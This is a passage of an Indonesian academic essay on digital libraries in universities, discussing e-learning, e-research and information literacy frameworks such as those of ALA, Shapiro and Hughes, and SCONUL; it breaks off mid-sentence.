content: Perpustakaan Digital Perguruan Tinggi : Tantangan Peningkatan Kualitas Jasa Putu Laxman Pendit, Ph.D. Pendahuluan Kalau kita berbicara tentang universitas, baik di Indonesia maupun di negara-negara yang sudah maju, maka hampir mustahil kita dapat melepaskan diri dari fakta bahwa telah terjadi perubahan besar-besaran dan fundamental di dunia pendidikan tinggi. Pada dasarnya, perubahan-perubahan besar inilah yang menjadi pendorong utama bagi keseluruhan perubahan dalam pola kehidupan ilmu pengetahuan dan pendidikan. Pada gilirannya, perubahan ini berimbas ke penyelenggaraan jasa perpustakaan perguruan tinggi. Payne dan Waller (2000) dengan sangat bagus telah merangkum 7 perubahan di dunia universitas yang akan mempengaruhi dunia perpustakaan, yang kiranya juga dapat dipakai dalam konteks Indonesia, yaitu: 1. Mass higher education – jumlah mahasiswa terus bertambah, demikian pula keragaman dalam latarbelakang dan tujuan pendidikan mereka. 2. Consumerism – para mahasiswa dan orang tua memiliki harapan semakin tinggi tentang mutu pendidikan yang dikaitkan dengan kesempatan kerja, sedemikian rupa sehingga universitas pun menjadi semakin berorientasi kepada pelanggan (customer oriented). 3. Student finances – para mahasiswa diharapkan (dan rela) membayar lebih banyak dan dengan demikian menjadi kontributor penting bagi pendidikan mereka sendiri. 4. Course design – cenderung menuju pendidikan berbasis semester dan mengunakan modul-modul yang dapat ditawarkan secara terpisah. 5. Teaching and learning methods – menumbuhkan kecenderungan belajar secara otonom (autonomous learning) dengan memanfaatkan berbagai teknologi informasi, baik dalam pengajaran maupun pengujian. 6. Accountability of Higher Education – setiap institusi dituntut untuk lebih menekankan aspek kualitas, sementara harus juga memikirkan sumber dana yang beragam untuk mendukung butir pertama, yaitu pendidikan yang bersifat massal. 7. Funding – universitas semakin bersaing untuk meningkatkan efektivitas pendanaan, dan mungkin juga akan menimbulkan tuntutan efisiensi, termasuk dalam hal perpustakaan. Hampir --kalau tidak dapat dikatakan semua-- dari 7 butir perubahan di atas dialami oleh perguruan-perguruan tinggi di Indonesia, terutama perguruan tinggi negeri (PTN). Selama satu dekade belakangan ini, berbagai PTN besar dan kecil harus menjalankan berbagai upaya manajemen untuk mengatur kembali langkah mereka agar tidak tertinggal dalam arus perubahan. Termasuk di dalamnya adalah upaya untuk menjadi mandiri dari segi pendanaan. Dalam hal ini, sampai tahun 2007 terdapat 7 (tujuh) perguruan tinggi beralih statusnya menjadi perguruan tinggi berbentuk badan hukum milik negara (PT-BHMN), yaitu Universitas Sumatera Utara (USU) dan Universitas Pendidikan Indonesia (UPI), Universitas Indonesia (UI), Universitas Gajah Mada (UGM), Institut Pertanian Bogor (IPB) dan Institut Teknologi Bandung (ITB) dan Universitas Airlangga (UNAIR). Beberapa perguruan tinggi masih dalam proses pengusulan. Jumlah perguruan tinggi yang bersatus BHMN ini belum bertambah sejak tahun 2006. Sejalan dengan itu, persaingan dalam kualitas pun semakin sengit, apalagi setelah perguruan tinggi swasta mendapat lebih banyak kebebasan. Ditambah lagi, perguruan tinggi luar negeri kini lebih leluasa memasuki ‘pasar’ pendidikan di Indonesia. Bagi perguruan tinggi swasta, sudah barang tentu perubahan ini menyediakan peluang dan tantangan. Tidak dapat dipungkiri, pendidikan tinggi sudah menjadi industri dan pasar yang amat menarik bagi bisnis besar. Persaingan menjadi marak, sehingga terjadilan peningkatan perhatian yang luarbiasa terhadap mutu proses pendidikan maupun mutu lulusannya. Dari tahun ke tahun dunia pendidikan tinggi di Indonesia menunjukkan kenaikan yang luar biasa, baik dalam jumlah institusinya, maupun dalam jumlah minat peserta didik. Pada tahun 1999 ada 1.634 perguruan tinggi dengan jumlah peminat sebesar 1.585.566 orang. Setahun kemudian, jumlah perguruan tinggi menjadi 1.747 dan peminat melonjak menjadi 1.792.565 orang. Statistik tahun 2004 menunjukkan bahwa jumlah perguruan tinggi naik lagi menembus angkat dua ribu, menjadi 2.428 dan peminatnya mencapai 2.339.801. Pada saat sama terjadi pula perubahan teknologi informasi yang amat pesat, pertumbuhan Internet yang luarbiasa, dan ketersediaan komputer serta fasilitas telekomunikasi yang semakin luas. Ini tidak saja terjadi di dunia yang sudah maju, tetapi juga menjalar cepat ke negara-negara berkembang seperti Indonesia. Kemajuan-kemajuan dalam teknologi digital ini telah menawarkan berbagai cara dan format baru dalam memanfaatkan informasi dan pengetahuan. Sejak komputer pribadi (PC) diproduksi secara massal, maka salah satu institusi yang paling cepat memanfaatkannya adalah perguruan tinggi, termasuk perpustakaannya. Perkembangan Internet yang diikuti oleh ketersediaan sumberdaya digital yang semakin beragam, juga mengubah perilaku, harapan, dan persepsi masyarakat tentang informasi dan pengetahuan. Sebelum Internet menjadi begini populer, perguruan tinggi memang juga sudah merupakan institusi yang paling gandrung menggunakan teknologi telekomunikasi. Ketika telematika belum populer, perguruan tinggi sudah biasa menggunakan teknologi siaran (broadcasting) untuk memperluas cakupan pendidikan mereka, sehingga lahirlah pemelajaran jarak jauh (distance learning) dan pemelajaran terbuka (open learning). Teknologi Internet tidak hanya menambah potensi perluasan cakupan pendidikan yang sudah ditunjang oleh teknologi siaran, melainkan juga menambah potensi baru, yakni interaktivitas. Teknologi digital memungkinkan terciptanya aplikasi-aplikasi yang tidak saja membantu manusia mengambil dan mengirim informasi secara cepat dan dari jauh, tetapi juga memberi kesempatan manusia untuk saling bertukar informasi dan berdialog dengan leluasa. Perkembangan teknologi telematika juga memungkinkan manusia berinteraksi dengan manusia lain maupun dengan mesin secara lebih efektif dan efisien. Ini tentu saja sangat menguntungkan bagi perkembangan pendidikan, yang pada dasarnya adalah kegiatan komunikasi ilmu pengetahuan. Perubahan-perubahan yang disertai tawaran potensi telematika ini telah menyebabkan pergeseran paradigma yang cukup kentara di bidang perguruan tinggi. Tentu saja, kondisi sosial-budaya ikut memengaruhi variasi dalam kecepatan maupun intensitas perubahan di masing-masing universitas di berbagai negara. Namun, secara garis besar, perubahan paradigma itu dapat dirangkum dalam tabel berikut: |Perguruan Tinggi Paradigma Lama |Perguruan Tinggi Paradigma Baru | |Pelajaran ditetapkan universitas |Pelajaran didasarkan pada kebutuhan| |Kalender akademik yang kaku | | |Universitas adalah tempat fisik |Kalender terbuka dan fleksibel | |Sekali sarjana, ya sudah.. selesai |Universitas adalah sarang ide | |Universitas sebagai menara gading |Belajar terus, sampai mampus | |Mahasiswa baru = 18 sampai 25 tahun|Universitas sebagai mitra | | |masyarakat | |Buku adalah medium utama |Mahasiswa baru segala usia | |Produk pendidikan cenderung tunggal|Segala macam format informasi | | |dipakai | |Mahasiswa adalah ‘beban’ |Produk pendidikan beragam | |Pengajaran di kelas |Mahasiswa adalah pelanggan/pembeli | |Multi-kultural |Pengajaran di mana saja | |Bricks and mortal |Global | |Disiplin tunggal dalam pengetahuan |Bits and bytes | |Mementingkan kelembagaan semata |Pengetahuan multidisiplin | |Bergantung kepada pemerintah |Memikirkan pasar | |Teknologi sebagai buang-buang uang |Berjualan di pasar | | |Teknologi sebagai nilai tambah | |diadaptasi dari Virkus, 2004, h. 100 | Dari serangkaian perkembangan dan perubahan di atas, setidaknya ada tiga aspek dari perubahan di perguruan tinggi yang dianggap langsung mempengaruhi perpustakaan perguruan tinggi, dan dapat pula dianggap sebagai pendorong semakin pentingnya konsep perpustakaan digital diwujudkan. Ketiga hal itu adalah perkembangan e-learning, perubahan dalam komunikasi ilmiah yang mengarah ke e-research, dan kebutuhan mendesak untuk menciptakan information literacy di perguruan tinggi. E-learning dan paradigma baru dalam belajar-mengajar Potensi-potensi telematika untuk pendidikan saat ini sedang diarahkan ke suatu konsep yang disebut pemelajaran elektronik (e-learning) dalam sebuah lingkungan virtual (virtual learning environment). Menurut Rosenberg (2001), e-learning selalu dihubungkan dengan Internet, sebagai teknologi yang memungkinkan penyampaian pengetahuan secara meluas, dan didasarkan pada 3 ciri utama teknologi ini, yaitu: 1. Memanfaatkan teknologi jaringan yang memungkinkan pemakaian informasi secara bersama dari berbagai tempat terpisah sambil sekaligus melakukan pembaruan (updating), penyimpanan, penemuan, dan penyebaran pengetahuan secara terus menerus. 2. Memungkinkan penggunaan berbagai aplikasi teknologi komunikasi karena kini Internet sudah memiliki protokol dan standar yang memungkinkan penggunaan berbagai media digital secara bersama-sama, dus mendukung ciri pertama. 3. Berkat potensi teknologi sebagaimana disebut pada butir pertama dan kedua di atas, maka e-learning dapat menjadi paradigma baru yang berdasarkan pandangan luas tentang peran pendidikan, sehingga pendidikan tidak melulu menjadi pelatihan atau pemindahan pengetahuan, tetapi pemelajaran yang holistik dan terus-menerus. Dengan kata lain, e-learning sebenarnya bukan hanya pemanfaatan teknologi Internet yang tersebar itu, melainkan juga pengejawantahan dari cara baru dalam memandang peran pendidikan di kehidupan manusia. Garrison dan Anderson (2003) melihat potensi e-learning sebagai sebuah sistem yang tidak hanya terbuka tetapi juga sekaligus komunikatif dan interaktif. Keterbukaan Internet memang sebuah ciri yang paling menawan dari teknologi ini. Namun keterbukaan ini juga menghadirkan kelimpahruahan informasi yang belum tentu positif bagi kegiatan belajar-mengajar. Konsep e-learning disusun sebagai upaya mengimbangi risiko dari kelimpahruahan ini dengan penciptaan apa yang disebut ‘ekologi pemelajaran’ (learning ecology), yaitu sebuah tata lingkungan belajar yang mencampurkan sifat keberagaman dengan kolaborasi secara dinamis. Peserta didik mendapat kesempatan untuk menjadi independen (independent learner), menerima masukan pengetahuan dari mana-mana, tetapi juga memiliki kontak untuk membangun pengetahuan bersama-sama secara kolaboratif. Memang, dalam perkembangan penggunaan teknologi komunikasi di dunia pendidikan, sering ada risiko bahwa teknologi telematika meningkatkan isolasi individu. Ketika konsep pemelajaran jarak-jauh (distance learning) pertamakali dikembangkan menggunakan teknologi satelit, perasaan terisolasi di kalangan pesera didik adalah salah satu masalah yang muncul. Kita ketahui bahwa kemudian persoalan ini diatasi dengan pembentukan kelompok-kelompok belajar yang bertemu secara teratur di sebuah tempat. Penggunaan teknologi Internet untuk pendidikan juga memungkinkan munculnya risiko terisolasi seperti di atas, terutama jika teknologi ini hanya dipakai untuk memperluas cakupan pemelajaran jarak jauh. Sebab itulah, perubahan mendasar yang perlu dilakukan dalam penerapan e-learning seharusnya mencakup pula beberapa hal penting, seperti: • Lingkungan belajar yang memungkinkan kelas, perpustakaan, laboratorium, rumah, dan tempat kerja menjadi satu kesatuan virtual yang dapat dimanfaatkan oleh peserta didik secara bersamaan dan berkesinambungan. • Isi pengetahuan dan materi pendidikan yang cenderung statis atau lambat berubah di jaman cetak, kini dapat lebih ‘cair’ karena siklus antara produksi, konsumsi, dan reproduksi pengetahuan menjadi begitu leluasa serta cepat. • Teknologi telematika memberikan kesempatan yang lebih luas bagi peserta didik untuk mengembangkan diri secara pribadi, dengan keleluasaan yang tidak dapat diberikan oleh pendidikan yang hanya berbasis buku. Komputer pribadi (PC) memberikan ‘kekuasaan’ yang lebih luas kepada peserta didik untuk menentukan sendiri pola perilaku belajar mereka. • Komunikasi berbantuan telematika juga menambah kemungkinan bagi peserta didik untuk berinteraksi secara beragam, mulai dari komunikasi satu-dengan-satu (one-to-one), satudengan-banyak (one-to-many), sampai banyak-dengan-banyak (many-to-many). Lebih jauh lagi, seorang mahasiswa dapat menggunakan semua pola komunikasi ini secara bersamaan, dari satu tempat yang jauh. Dengan kata lain, kelebihan-kelebihan teknologi digital yang bersifat interaktif dan komunikatif harus lebih ditonjolkan daripada kelebihan dalam hal jangkauan dan kecepatan penyebaran informasi. Berbarengan dengan itu, diperlukan pula perubahan cara memandang proses pendidikan itu sendiri. Kalau dulu pendidikan dianggap melulu sebagai pemindahan pengetahuan dari ‘orang pintar’ ke orang yang belum- pintar, dan pada umumnya perpindahan itu adalah proses satu arah, maka kini pendidikan harus lebih dialogis, interaktif, dan berpusat kepada peserta didik (student cendered). Dalam cara pandang baru ini terkandung kepercayaan (dan harapan) bahwa peserta didik menjadi penentu utama dari dinamika pendidikan; dia lah yang menentukan sendiri, bagaimana caranya membangun pemahaman tentang hal-hal yang ingin dia pelajari. E-Research sebagai ajang baru pemanfaatan jaringan Internet dimulai dari salah satu proyek milik sebuah kantor yang merupakan bagian dari Departemen Pertahanan Amerika Serikat, yaitu ARPA (Advanced Research Projects Agency). Jaringan komunikasi militer itu tadinya dibuat untuk berbagai keperluan, tetapi akhirnya aplikasi yang paling populer adalah surat-elektronik (e-mail). Aplikasi inilah yang mendorong kecepatan perkembangan Internet ketika akhirnya jaringan militer itu dibuka untuk umum dan dipakai di kampus-kampus oleh para peneliti. Aplikasi lainnya, yaitu aplikasi penyimpanan dan penemuan kembali (storage and retrieval) baru belakangan berkembang dan menjadi populer. Popularitas e-mail di kalangan peneliti bukanlah sesuatu yang mengherankan, sebab landasan dari semua kegiatan ilmiah adalah pertukaran dan pemakaian informasi antar ilmuan. Jauh sebelum ada Internet, ketika ilmu pengetahuan baru saja memperoleh status resmi dan terhormat, kaum ilmuan dan para cendekiawan sudah menyadari pentingnya kegiatan saling bertukar informasi. Istilah invisible college yang populer di masa awal kebangkitan ilmu pengetahuan merujuk ke kenyataan betapa pentingnya hubungan antar ilmuan (yang seringkali tidak ‘terlihat’ karena dilakukan secara informal) dalam perkembangan dunia pengetahuan. Selama ratusan tahun kehidupan ilmiah, penelitian dan komunikasi ilmiah, serta penerbitan jurnal ilmiah seakan-akan menyatu dan tak mungkin dipisahkan lagi. Adagium publish or perish menjadi mutlak, dan industri jurnal pun tumbuh pesat sampai sekarang. Internet telah memungkinkan hubungan antar ilmuan itu menjadi lebih intensif, sekaligus lebih luas dan lebih beragam. Teknologi jaringan semakin berkembang. Manfaatnya untuk perkembangan penelitian semakin kentara. Ini semua sebenarnya bukanlah hal baru, dan bukan sesuatu yang datang dari langit. Sejak komputer ‘lahir’ di tahun 1945 dan kemudian tumbuh ‘dewasa’ di tahun 1970an, orang sudah ingin menggunakan teknologi ini untuk mengetik dan bertukar informasi tekstual yang berisi rumus-rumus matematik. Donald Knuth tahun 1978 memperkenalkan idenya tentang TeX sebagai awal dari upaya para ilmuan untuk menerapkan komputer dalam produksi ilmu pengetahuan dalam bentuk teks komputer. Knuth memperbaiki ide dan teknologi penulisan teks ilmiah dengan menciptakan pula teori dan aplikasi perangkat lunak untuk menciptakan jenis huruf (font). Perkembangan ini dilanjutkan dengan perkembangan Generalized Markup Language (GML) pada tahun 1980an. Berkat GML, pertukaran teks dan komunikasi data penelitian pun dapat dilakukan secara lintas komputer tanpa peduli jenis teknologi dasarnya. Upaya terus dilanjutkan, sampai akhirnya tahun 1986 masyarakat internasional melalui International Standardisation Organisation (ISO) mengukuhkan Standard Generalized Markup Language (SGML) sebagai standar bahasa komputer. Berkat SGML, lahirlah berbagai perangkat lunak untuk memproduksi dan mengelola teks. Pada tahun 1997 lahirlah XML, dibidani oleh World Wide Web Consorsium, dan dimaksudkan sebagai aplikasi SGML yang khusus untuk jaringan Internet. Sejak masa awal sejarah Internet, para ilmuan merupakan pemakai utama. Peneliti biomedik adalah salah satu kelompok yang paling awal menggunakan Internet secara aktif. Sebelum browser populer seperti sekarang, mereka sudah rajin menggunakan fasilitas pengiriman berkas (file transfer protocol). Popularitas Internet ini juga tidak mengherankan, karena sejak akhir abad 19, National Library Medicine di AS sudah mengumpulkan rincian data bibliografis dari artikel penelitian ilmiah dalam bentuk Index Medicus. Sejak 1960an, Index Medicus sudah tersedia secara elektronik dalam bentuk pangakalan data MEDLINE. Ketika CD-ROM diperkenalkan, MEDLINE juga tersedia dalam bentuk off-line. Bahkan ketika pada tahun 1988 bidang biologi molekuler tumbuh pesat, para ilmuan membentuk National Council for Biotechnology Information sebagai anak dari NLM. Badan ini diberi tugas mengembangkan koleksi data struktur dan urut-urutan (sequence) biologi pembentuk sel mahluk hidup. Koleksi ini tersedia secara global memakai sistem bernama Entrez. Pada awalnya, sistem ini tersedia hanya dalam bentuk CD-ROM di tahun 1993, tetapi lalu jadi online setahun kemudian. Dalam konteks ini, patut juga disimak ulasan Sanderson (1996) tentang pertumbuhan kolaborasi dan kerjasama penelitian di berbagai belahan dunia. Menurutnya, dalam dekade terakhir dari abad 20 yang lalu, terjadi peningkatan kegiatan penelitian yang didasarkan pada kerja bersama berbagai ilmuan dari satu disiplin maupun dari berbagai disiplin yang berbeda. Kerja sama ini juga semakin meluas, tidak hanya lintas universitas, tetapi juga lintas negara. Sudah barang tentu, kemajuan fasilitas komunikasi antar ilmuan memiliki andil dalam pertumbuhan kolaborasi dan kerja sama, walaupun bukan satu-satunya faktor penyebab. Perubahan-perubahan sosial-kultural di lingkungan perguruan tinggi, sebagaimana telah diulas di bagian awal bab ini, merupakan penyumbang terbesar bagi pertumbuhan kerjasama penelitian. Dampak dari perubahan cara kerja penelitian dan peningkatan kerjasama di kalangan peneliti ini tentu saja sangat memengaruhi perkembangan dunia perpustakaan perguruan tinggi. Kegiatan pemanfaatan sumberdaya secara bersama (resource sharing) menjadi agenda penting dari berbagai perpustakaan besar di negara-negara maju. Motivasi dan kemauan untuk bekerjasama ini memang dapat dikaitkan dengan pertumbuhan kolaborasi antar ilmuan dan antar institusi penelitian. Selain itu, perkembangan ilmu yang semakin multidisiplin dan kecepatan perubahan dalam berbagai subjek atau topik penelitian, menyebabkan perpustakaan berganti orientasi: dari orientasi memperbesar jumlah koleksi (yang rasanya tak akan pernah cukup!) menjadi orientasi memperluas jangkauan kerjasama. Information Literacy sebagai katarsis Dalam bahasa Indonesia, istilah resmi yang sering dipakai untuk menerjemahkan kata literate adalah ‘melek huruf’. Tingkat melek huruf adalah terjemahan dari literacy rate. Bangsa Indonesia memiliki pengalaman mendasar dalam hal melek-huruf ini, sebab salah satu proyek raksasa yang dilakukan negara kita saat merdeka adalah melakukan gerakan pemberantasan buta huruf (sering disingkat PBH). Kini, di jaman digital dan Internet, persoalan membaca dan menulis menjadi pembicaraan lagi. Namun, yang dipersoalkan tentu bukan lagi hanya membaca dan menulis barang tercetak, melainkan membaca dan menulis media digital. Di kalangan masyarakat umum, persoalan baca-tulis digital ini mungkin belum kentara benar. Di kalangan perguruan tinggi, dalam konteks perubahan dalam pengajaran dan penelitian sebagaimana sudah kita bahas di atas, maka persoalan baca-tulis media digital adalah persoalan nyata yang serius. Teknologi telematika yang pada dasarnya menawarkan kesempatan atau potensi yang amat luas bagi ketersediaan sumberdaya digital untuk berbagai keperluan, juga menimbulkan persoalan berupa kelimpahruahan informasi yang seringkali akhirnya malah kontra-produktif. Ketika konsep e-learning sebagaimana yang sudah kita bahas di atas semakin populer, maka harus ada suatu kondisi yang memungkinkan para pelajar maupun pengajar memanfaatkan teknologi telematika sebaik-baiknya. Secara umum dikatakan bahwa kemampuan dasar yang diharapkan dari para peserta e-learning adalah ketrampilan menggunakan sumberdaya informasi secara mandiri, atau yang disebut ketrampilan informasi (information skills). Keterampilan ini bukan hanya menyangkut kemampuan membaca atau memahami informasi digital, tetapi terlebih juga keterampilan mencari, menemukan, dan memilih informasi di antara timbunan bahan digital yang semakin lama semakin menggunung. Baik para mahasiswa maupun dosen dan peneliti di era digital saat ini semakin dituntut untuk memiliki kemampuan mengelola pengetahuan yang sudah mereka miliki, agar dapat secara sistematis mengembangkan pengetahuan berikutnya. Dalam tuntutan seperti ini, maka mereka harus punya kemampuan bekerja berdasarkan aturan dan metode yang menentukan pertukaran pengetahuan ilmiah yang efisien dan efektif. Persoalannya bukan lagi bagaimana memahami sistem perpustakaan dan menggunakan koleksinya, tetapi juga bagaimana berurusan dengan berbagai materi ilmu yang menampilkan dirinya dalam bentuk elektronik dan digital. Menarik untuk dipikirkan, bahwa pada saat informasi digital melimpah ruah seperti sekarang ini maka para mahasiswa, pengajar dan peneliti akan menjadi pustakawan bagi diri mereka sendiri dan pengetahuan mereka akan berkembang seumur hidup sesuai kehendak bebas mereka. Program perpustakaan seharusnya menyediakan prosedur yang sedemikian rupa membantu mereka berkembang dari pihak yang hanya bisa memakai koleksi yang tersedia di perpustakaan, menjadi pihak yang punya kemampuan menyusun strategi pencarian informasi sesuai dengan bidang pengetahuan yang didalaminya. Dengan kata lain, di dalam konsep information literacy terkandung harapan bahwa semakin lama perpustakaan benar-benar adalah mitra, dan bukannya semata-mata pihak yang menyediakan apa yang diminta. Para pengguna perpustakaan benar-benar dapat menjadi penentu dari apa yang tersedia. Dalam pengertian di atas pulalah kita dapat lebih memahami konsep information literacy dari American Library Association (ALA) Presidential Committee on Information Literacy yang menyatakan bahwa ‘.. to be information literate, a person must be able to recognize when information is needed and have the ability to locate, evaluate, and use effectively the needed information.’ Kalau definisi ini dikenakan ke perguruan tinggi, maka terbayangkanlah bahwa para mahasiswa, dosen, dan peneliti beramai-ramai ikut menentukan apa yang mereka butuhkan, lalu berkomunikasi dan bekerjasama dengan pustakawan untuk memenuhi kebutuhan itu. Lebih jauh lagi, mereka pun dapat ikut bersama pustakawan menentukan strategi menemukan, mengevaluasi, dan menggunakan informasi secara efektif. Sepintas lalu, kita akan berkesimpulan: kalau memang begitu, buat apa ada pustakawan? Kalau semua orang sudah dapat menentukan apa yang perlu dicari, bagaimana dan di mana mencarinya, lalu bagaimana menggunakan yang terbaik dari yang ditemukan… apa gunanya pustakawan? Jawaban pesimis tentunya adalah: pustakawan dan perpustakaan tidak diperlukan lagi. Jawaban optimisnya: justru pada saat seperti ini pustakawan lebih diperlukan dari sebelumnya! Peran pustakawan tidak dihapus, melainkan diganti, dari semata-mata pihak yang melayani pemakai menjadi pihak yang membantu dan bahkan kalau perlu menuntun pemakai untuk mencapai tujuannya. Kebutuhan akan bantuan seperti ini bukanlah kebutuhan yang dibuat-buat. Untuk memahami betapa pentingnya information literacy dan betapa diperlukannya bantuan bagi orangorang yang belum information literate kita harus memperluas definisi dari ALA di atas. Salah satu ulasan yang cukup lengkap tentang information literacy datang dari Shapiro dan Hughes (1996) yang menyatakan bahwa ada tujuh keterampilan yang dibutuhkan dalam era digital ini, yaitu: 1. Tool literacy, kemampuan memahami dan mengunakan alat teknologi informasi secara konseptual maupun praktikal, termasuk di dalamnya kemampuan menggunakan perangkat lunak, keras, multimedia, yang relevan dengan bidang kerja atau sutdi. Termasuk di sini adalah pengetahuan dasar komputer dan aplikasi jaringan, juga pemahaman dasar tentang konsep algoritme, struktur data, topologi jaringan, dan protokol komunikasi data. 2. Resource literacy, kemampuan memahami bentuk, format, lokasi, dan cara mendapatkan sumberdaya informasi, terutama dari jaringan informasi yang terus berkembang. Pengetahuan ini sesuai dengan konsepsi pustakawan tentang information literacy, dan mencakup di dalamnya pengetahuan tentang klasifikasi dan pengorganisasian sumberdaya informasi tersebut. 3. Social-structural literacy, alias pemahaman yang benar tentang bagaimana informasi dihasilkan oleh berbagai pihak di dalam sebuah masyarakat. Ini artinya memahami siapa-siapa yang berada dibalik produksi informasi ilmiah, jaringan ilmuan mana yang menghasilkannya, apa kaitannya antara satu produsen dengan produsen lainnya, apakah ada lembaga yang dominan dalam proses itu (universitas, pemerintah, swasta). Ini juga berarti memahami bahwa ada proses formal yang harus dilalui oleh setiap informasi ilmiah sebelum dapat diakui sebagai ilmiah. 4. Research literacy, yang merupakan kemampuan menggunakan peralatan berbasis teknologi informasi sebagai alat riset. Para mahasiswa pascasarjana mungkin harus tahu bagaimana menggunakan Internet sebagai lapangan penelitian, memanfaatkan perangkat lunak statistik untuk analisis, atau perangkat lunak khusus untuk penelitian kualitatif. Para peneliti dituntut untuk semakin terampil menggunakan komputer dalam setiap tahap kegiatan penelitiannya. 5. Publishing literacy, atau kemampuan untuk menyusun dan menerbitkan publikasi dan ide ilmiah ke kalangan luas dengan memanfaatkan komputer dan Internet. Kemajuan teknologi saat ini, ditambah dengan gerakan-gerakan yang ‘membebaskan’ para ilmuan dari kukungan tradisi ilmu yang ketat di jaman cetakan, membuka kesempatan amat luas bagi setiap orang untuk menampilkan pemikirannya di Internet. Kemampuan membuat situs di Internet dan merawat serta mengundang pengunjung dalam jumlah besar, kini nyaris menjadi tuntutan umum bagi para cendekiawan. 6. Emerging technology literacy, adalah kemampuan yang memungkinkan seseorang untuk terus menerus menyesuaikan diri dengan perkembangan teknologi dan bahkan bersama-sama komunitasnya ikut menentukan arah pemanfaatan teknologi informasi untuk kepentingan pengembangan ilmu. Perkembangan mailing-list merupakan contoh bagaimana sekelompok orang yang cekatan dapat memanfaatkan Internet secara baik, walaupun pada mulanya teknologi ini hanya merupakan ‘usus buntu’ bagi program email. 7. Critical literacy, yang merupakan kemampuan melakukan evaluasi secara kritis terhadap untung-ruginya menggunakan teknologi telematika dalam kegiatan ilmiah. Seorang cendekiawan yang kritis diharapkan tidak menerima begitu saja kenyataan tentang teknologi yang sekarang tersedia secara meluas, dan dapat melakukan pemeriksaan terhadap manfaat teknologi bagi kegiatan ilmiahnya. Untuk memiliki kemampuan ini, seringkali seseorang harus rajin menyimak perkembangan teknologi itu sendiri dan memahami, atau setidaknya mengetahui, sejarah dan latarbelakang kelahiran teknologi itu. Jelas bahwa kalau ketujuh kriteria information literacy di atas diterapkan mentah-mentah, mungkin tingkat ‘buta informasi’ di berbagai negara –termasuk negara-negara Barat yang sudah maju-- akan cukup tinggi, dan di negara-negara miskin yang mengalami jurang digital amat besar, maka tingkat buta informasi tersebut pasti sangat tinggi. Jika memakai ukuran di atas, kriteria yang paling mudah dicapai melalui keterpaan terhadap teknologi telematika adalah kriteria 1, 2, dan 5. Kriteria lainnya cukup berat. Pastilah, orang yang ingin mencapai ketujuh kriteria di atas memerlukan bantuan. Namun apakah bantuan dapat datang dari pustakawan? Mungkin akan sangat sulit sekali bagi pustakawan berperan membantu orang lain mewujudkan ketujuh kriteria di atas, sebab pustakawannya sendiri harus belajar dahulu. Salah satu persoalannya adalah karena pada definisi di atas terkandung keterampilan menggunakan teknologi telematika. Ada baiknya kita periksa definisi lain yang lebih sederhana, misalnya dari Martin (2003) yang menggunakan istilah e-literacy yang memiliki empat komponen, yaitu: • Kesadaran tentang teknologi dan lingkungan informasi • Kepercayaan-diri untuk menggunakan perangkat teknologi dan informasi yang generik. • Evaluasi terhadap cara kerja dan produk informasi. • Refleksi terhadap perkembangan kemampuan e-literacy sendiri. • Kemampuan beradaptasi dan kemauan untuk menghadapi tantangan e-literacy. Di definisi ini, persyaratannya lebih ‘lunak’ karena seseorang cukup memiliki kesadaran dan kepercayaan diri menggunakan perangkat teknologi informasi. Istilah ‘produk informasi’ juga lebih umum dan lebih menekankan pada hasil-jadi daripada cara kerja teknologi yang menghasilkannya. Dalam konteks ini, maka pustakawan dapat lebih berperan, karena praktis sejak dahulu profesi ini mengurusi produk-produk informasi dari berbagai teknologi (walaupun tentunya yang terbanyak adalah produk informasi tercetak). Komponen keterampilan teknologi informasi memang merupakan bagian tak terpisahkan dari information literacy. Sesuai perkembangan teknologinya, maka harapan dan tuntutan yang muncul bagi pemakai juga berkembang dan berubah. Pada tahun 1980-an, ketika muncul fenomena perangkat lunak antar muka yang sederhana dan akrab untuk pemakainya, yaitu Windows, komputer semakin dianggap sebagai alat kerja sehari-hari dan perangkat lunak aplikasi menjadi semakin mudah digunakan. Pada masa ini maka pusat perhatiannya adalah ‘bagaimana menggunakan komputer’, dan bukan pengetahuan teknis dan pemrograman yang lebih khusus. Lalu pada tahun 1990-an mulai muncul pemikiran tentang keperluan mahasiswa untuk menjadi pemelajar yang otonom dan mampu menilai baik-buruknya informasi akibat banjir informasi yang sekarang harus dihadapi oleh para siswa. Kepemilikan komputer dianggap sudah bagian dari masa kecil dan anak-anak sudah dianggap bisa menggunakan komputer, sehingga penekanannya kini adalah pada kemampuan merefleksi dan mengevaluasi penggunaan komputer. Belakangan ini, di AS mulai digunakan FITness (Fluency in Information Technology) yang terdiri dari tiga komponen, yaitu: • Contemporary skills – kemampuan menggunakan perangkat keras dan lunak yang tertentu/spesifik (dan kontemporer) untuk melaksanakan dengan sukses sebuah tugas pengolahan informasi. Kemampuan ini mencakup sebagian besar pelatihan komputer. Tentu saja, kemampuan ini harus sering berkembang sesuaui perubahan dalam perangkat keras maupun lunak. • Foundational concepts – prinsip dan ide dasar komputer, jaringan, dan informasi, termasuk struktur komputer, sistem informasi, jaringan, modelling berbantuan komputer, algorithmic thinking, pemrograman, keterbatasan teknologi dan dampak sosial. • Intellectual capabilities – yang mengintegrasikan pengetahuan spesifik tentang teknologi informasi dengan masalah di bidang yang diminati oleh seseorang. Jelas terlihat dalam konsep FITness di atas bahwa diperlukan tiga keterampilan terpisah yang tentunya perlu disebarkan lewat pendidikan khusus yang tidak melibatkan pustakawan. Pemisahan antara keterampilan menggunakan teknologi informasi (terutama komputer) dan keterampilan memanfaatkan produk teknologi informasi membantu pustakawan mengenali posisinya. Konsep 7 pilar dari Society of College, National and University Library alias SCONUL, juga sangat populer di kalangan pustakawan (untuk pembahasan terinci lihat Town, 2000 dan Johnson 2003). Konsep ini memberikan penekanan lebih banyak kepada cara mengembangkan kemampuan dan keterampilan memanfaatkan produk informasi yang dihasilkan oleh kemajuan telematika. Pada dasarnya, information literacy dianggap sebagai bentuk selanjutnya dari kemampuan menggunakan perpustakaan di jaman sebelum digital, dan yang sudah menjadi bagian dari apa yang dulu dikenal sebagai user education atau bibliographic instruction. Perguruan tinggi dan perpustakaan digital Diskusi tentang e-learning, e-reseach, dan information literacy di atas diharapkan memberikan gambaran betapa berbedanya situasi dan kondisi yang sekarang sedang berkembang di berbagai perguruan tinggi, tidak saja di negara-negara maju tetapi juga di negara berkembang, termasuk di Indonesia. Kita diajak melihat bahwa ‘perpustakaan digital’ bukanlah semata-mata peralatan baru dan mesin-mesin baru yang canggih, melainkan juga sebuah institusi yang harus hidup dan berkembang sesuai keadaan masyarakat penggunanya. Kalau kita melihat perkembangan pemikiran tentang e-learning, maka dapat dipahami bahwa di masa yang tidak lama lagi (dan bahkan mungkin sudah mulai sekarang) akan muncul tuntutan untuk sebuah jasa penyediaan informasi digital yang terintegrasi 